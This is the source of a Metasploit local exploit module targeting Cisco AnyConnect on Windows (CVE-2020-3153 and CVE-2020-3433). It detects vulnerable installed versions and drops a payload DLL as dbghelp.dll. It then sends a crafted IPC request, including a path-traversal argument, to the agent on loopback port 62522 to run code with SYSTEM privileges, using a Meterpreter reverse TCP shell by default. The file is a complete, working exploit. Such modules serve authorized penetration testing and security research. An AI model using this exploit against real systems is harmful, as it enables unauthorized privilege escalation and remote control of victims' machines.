Path: blob/master/modules/exploits/windows/local/anyconnect_lpe.rb
32681 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::Windows::Priv9include Msf::Post::Windows::FileInfo10include Msf::Post::File11include Msf::Exploit::EXE12include Msf::Exploit::FileDropper13prepend Msf::Exploit::Remote::AutoCheck1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'Cisco AnyConnect Privilege Escalations (CVE-2020-3153 and CVE-2020-3433)',20'Description' => %q{21The installer component of Cisco AnyConnect Secure Mobility Client for Windows22prior to 4.8.02042 is vulnerable to path traversal and allows local attackers23to create/overwrite files in arbitrary locations with system level privileges.2425The installer component of Cisco AnyConnect Secure Mobility Client for Windows26prior to 4.9.00086 is vulnerable to a DLL hijacking and allows local attackers27to execute code on the affected machine with with system level privileges.2829Both attacks consist in sending a specially crafted IPC request to the TCP30port 62522 on the loopback device, which is exposed by the Cisco AnyConnect31Secure Mobility Agent service. This service will then launch the vulnerable32installer component (`vpndownloader`), which copies itself to an arbitrary33location (CVE-2020-3153) or with a supplied DLL (CVE-2020-3433) before being34executed with system privileges. Since `vpndownloader` is also vulnerable to DLL35hijacking, a specially crafted DLL (`dbghelp.dll`) is created at the same36location `vpndownloader` will be copied to get code execution with system37privileges.3839The CVE-2020-3153 exploit has been successfully tested against Cisco AnyConnect40Secure Mobility Client versions 4.5.04029, 4.5.05030 and 4.7.04056 on Windows 1041version 1909 (x64) and Windows 7 SP1 (x86); the CVE-2020-3434 exploit has been42successfully tested against Cisco AnyConnect Secure Mobility Client versions434.5.02036, 4.6.03049, 4.7.04056, 4.8.01090 and 4.8.03052 on Windows 10 version441909 (x64) and 4.7.4056 on Windows 7 SP1 (x64).45},46'License' => MSF_LICENSE,47'Author' => [48'Yorick Koster', # original PoC CVE-2020-3153, analysis49'Antoine Goichot (ATGO)', # PoC CVE-2020-3153, original PoC for CVE-2020-3433, update of msf module50'Christophe De La Fuente' # msf module for CVE-2020-315351],52'Platform' => 'win',53'SessionTypes' => [ 'meterpreter' ],54'Targets' => [55[56'Windows x86/x64 with x86 payload',57{58'Arch' => ARCH_X8659}60]61],62'Privileged' => true,63'References' => [64['URL', 'https://ssd-disclosure.com/ssd-advisory-cisco-anyconnect-privilege-elevation-through-path-traversal/'],65['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ac-win-path-traverse-qO4HWBsj'],66['CVE', '2020-3153'],67['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-anyconnect-dll-F26WwJW'],68['CVE', '2020-3433']69],70'DisclosureDate' => '2020-08-05',71'Notes' => {72'SideEffects' => [ARTIFACTS_ON_DISK],73'Reliability' => [REPEATABLE_SESSION],74'Stability' => [CRASH_SAFE]75},76'DefaultTarget' => 0,77'DefaultOptions' => {78'PAYLOAD' => 'windows/meterpreter/reverse_tcp',79'FileDropperDelay' => 1080},81'Compat' => {82'Meterpreter' => {83'Commands' => %w[84core_channel_open85]86}87}88)89)9091register_options [92OptString.new('INSTALL_PATH', [93false,94'Cisco AnyConnect Secure Mobility Client installation path (where \'vpndownloader.exe\''\95' should be found). It will be automatically detected if not set.'96]),97OptEnum.new('CVE', [ true, 'Vulnerability to use', 'CVE-2020-3433', ['CVE-2020-3433', 'CVE-2020-3153']])98]99end100101# See AnyConnect IPC protocol articles:102# - https://www.serializing.me/2016/12/14/anyconnect-elevation-of-privileges-part-1/103# - https://www.serializing.me/2016/12/20/anyconnect-elevation-of-privileges-part-2/104# - https://www.serializing.me/2023/01/27/anyconnect-inter-process-communication/105class CIPCHeader < BinData::Record106endian :little107108uint32 :id_tag, label: 'ID Tag', value: 0x4353434f109uint16 :header_length, label: 'Header Length', initial_value: -> { num_bytes }110uint16 :data_length, label: 'Data Length', initial_value: -> { parent.body.num_bytes }111uint32 :ipc_repsonse_cb, label: 'IPC response CB', initial_value: 0xFFFFFFFF112uint32 :msg_user_context, label: 'Message User Context', initial_value: 0x00000000113uint32 :request_msg_id, label: 'Request Message Id', initial_value: 0x00000002114uint32 :return_ipc_object, label: 'Return IPC Object', initial_value: 0x00000000115uint8 :message_type, label: 'Message Type', initial_value: 1116uint8 :message_id, label: 'Message ID', initial_value: 2117end118119class CIPCTlv < BinData::Record120# TLVs are tricky when it comes to endieness. For the type and length fields, they're big endian, but121# for the value, they're little endian. For example, each UTF-16 character, is encoded in one little122# endian unsigned short. There is one exception to that rule: UTF-8 strings and TV (Type and Value)123# entries. Note that TVs, are the ones that have a Type like 0x80XX, which are used to store some124# booleans and unsigned shorts.125# This is why having the entire "BinData::Record" as big endian is not a problem in this case: the IPC126# message to which the vulnerabilit(ies) are associated, only makes use of UTF-8 strings and a boolean.127endian :big128129uint16 :msg_type, label: 'Type'130uint16 :msg_length, label: 'Length', initial_value: -> { msg_value.num_bytes }131stringz :msg_value, label: 'Value', length: -> { msg_length }132end133134class CIPCMessage < BinData::Record135endian :little136137cipc_header :header, label: 'Header'138array :body, label: 'Body', type: :cipc_tlv, read_until: :eof139end140141def detect_path142program_files_paths = Set.new([get_env('ProgramFiles')])143program_files_paths << get_env('ProgramFiles(x86)')144path = 'Cisco\\Cisco AnyConnect Secure Mobility Client'145146program_files_paths.each do |program_files_path|147next unless file_exist?([program_files_path, path, 'vpndownloader.exe'].join('\\'))148149return "#{program_files_path}\\#{path}"150end151152nil153end154155def sanitize_path(path)156return nil unless path157158path = path.strip159loop do160break if path.last != '\\'161162path.chop!163end164path165end166167def check168install_path = sanitize_path(datastore['INSTALL_PATH'])169if install_path&.!= ''170vprint_status("Skipping installation path detection and use provided path: #{install_path}")171@installation_path = file_exist?([install_path, 'vpndownloader.exe'].join('\\')) ? install_path : nil172else173vprint_status('Try to detect installation path...')174@installation_path = detect_path175end176177unless @installation_path178return CheckCode.Safe('vpndownloader.exe not found on file system')179end180181file_path = "#{@installation_path}\\vpndownloader.exe"182vprint_status("Found vpndownloader.exe path: '#{file_path}'")183184version = file_version(file_path)185unless version186return CheckCode.Unknown('Unable to retrieve vpndownloader.exe file version')187end188189cve_2020_3153 = (datastore['CVE'] == 'CVE-2020-3153')190191patched_version_cve_2020_3153 = Rex::Version.new('4.8.02042')192patched_version_cve_2020_3433 = Rex::Version.new('4.9.00086')193@ac_version = Rex::Version.new(version.join('.'))194if @ac_version < patched_version_cve_2020_3153195return CheckCode.Appears("Cisco AnyConnect version #{@ac_version} < #{patched_version_cve_2020_3153} (CVE-2020-3153 & CVE-2020-3433).")196elsif (@ac_version < patched_version_cve_2020_3433) && !cve_2020_3153197return CheckCode.Appears("Cisco AnyConnect version #{@ac_version} < #{patched_version_cve_2020_3433} (CVE-2020-3433).")198elsif (@ac_version < patched_version_cve_2020_3433) && cve_2020_3153199return CheckCode.Safe("Cisco AnyConnect version #{@ac_version} >= #{patched_version_cve_2020_3153} (However CVE-2020-3433 can be used).")200else201return CheckCode.Safe("Cisco AnyConnect version #{@ac_version} >= #{patched_version_cve_2020_3433}.")202end203end204205def exploit206fail_with(Failure::None, 'Session is already elevated') if is_system?207if !payload.arch.include?(ARCH_X86)208fail_with(Failure::None, 'Payload architecture is not compatible with this module. Please, select an x86 payload')209end210211check_result = check212print_status(check_result.message)213if check_result == CheckCode::Safe && !@installation_path214fail_with(Failure::NoTarget, 'Installation path not found (try to set INSTALL_PATH if automatic detection failed)')215end216217cac_cmd = '"CAC-nc-install'218if @ac_version && @ac_version >= Rex::Version.new('4.7')219vprint_status('"-ipc" argument needed')220cac_cmd << "\t-ipc=#{rand_text_numeric(5)}"221else222vprint_status('"-ipc" argument not needed')223end224225cve_2020_3153 = (datastore['CVE'] == 'CVE-2020-3153')226if cve_2020_3153227program_data_path = get_env('ProgramData')228dbghelp_path = "#{program_data_path}\\Cisco\\dbghelp.dll"229else230temp_path = get_env('TEMP')231junk = Rex::Text.rand_text_alphanumeric(6)232temp_path << "\\#{junk}"233mkdir(temp_path)234dbghelp_path = "#{temp_path}\\dbghelp.dll"235end236237print_status("Writing the payload to #{dbghelp_path}")238239begin240payload_dll = generate_payload_dll(dll_exitprocess: true)241write_file(dbghelp_path, payload_dll)242register_file_for_cleanup(dbghelp_path)243rescue ::Rex::Post::Meterpreter::RequestError => e244fail_with(Failure::NotFound, e.message)245end246247if cve_2020_3153248# vpndownloader.exe will be copied to "C:\ProgramData\Cisco\" (assuming the249# normal process will copy the file to250# "C:\ProgramData\Cisco\Cisco AnyConnect Secure Mobility Client\Temp\Installer\XXXX.tmp\")251register_file_for_cleanup("#{program_data_path}\\Cisco\\vpndownloader.exe")252junk = Rex::Text.rand_text_alphanumeric(4)253cac_cmd << "\t#{@installation_path}\\#{junk}\\#{junk}\\#{junk}\\#{junk}\\../../../../vpndownloader.exe\t-\""254else255cac_cmd << "\t#{@installation_path}\\vpndownloader.exe\t#{dbghelp_path}\""256end257258vprint_status("IPC Command: #{cac_cmd}")259260cipc_msg = CIPCMessage.new261cipc_msg.body << CIPCTlv.new(262msg_type: 2,263msg_value: cac_cmd264)265cipc_msg.body << CIPCTlv.new(266msg_type: 6,267msg_value: "#{@installation_path}\\vpndownloader.exe"268)269270vprint_status('Connecting to the AnyConnect agent on 127.0.0.1:62522')271begin272socket = client.net.socket.create(273Rex::Socket::Parameters.new(274'PeerHost' => '127.0.0.1',275'PeerPort' => 62522,276'Proto' => 'tcp'277)278)279rescue Rex::ConnectionError => e280fail_with(Failure::Unreachable, e.message)281end282283vprint_status("Send the encoded IPC command (size = #{cipc_msg.num_bytes} bytes)")284socket.write(cipc_msg.to_binary_s)285socket.flush286# Give FileDropper some time to cleanup before handing over to the operator287Rex.sleep(3)288ensure289if socket290vprint_status('Shutdown the socket')291socket.shutdown292end293end294295end296297298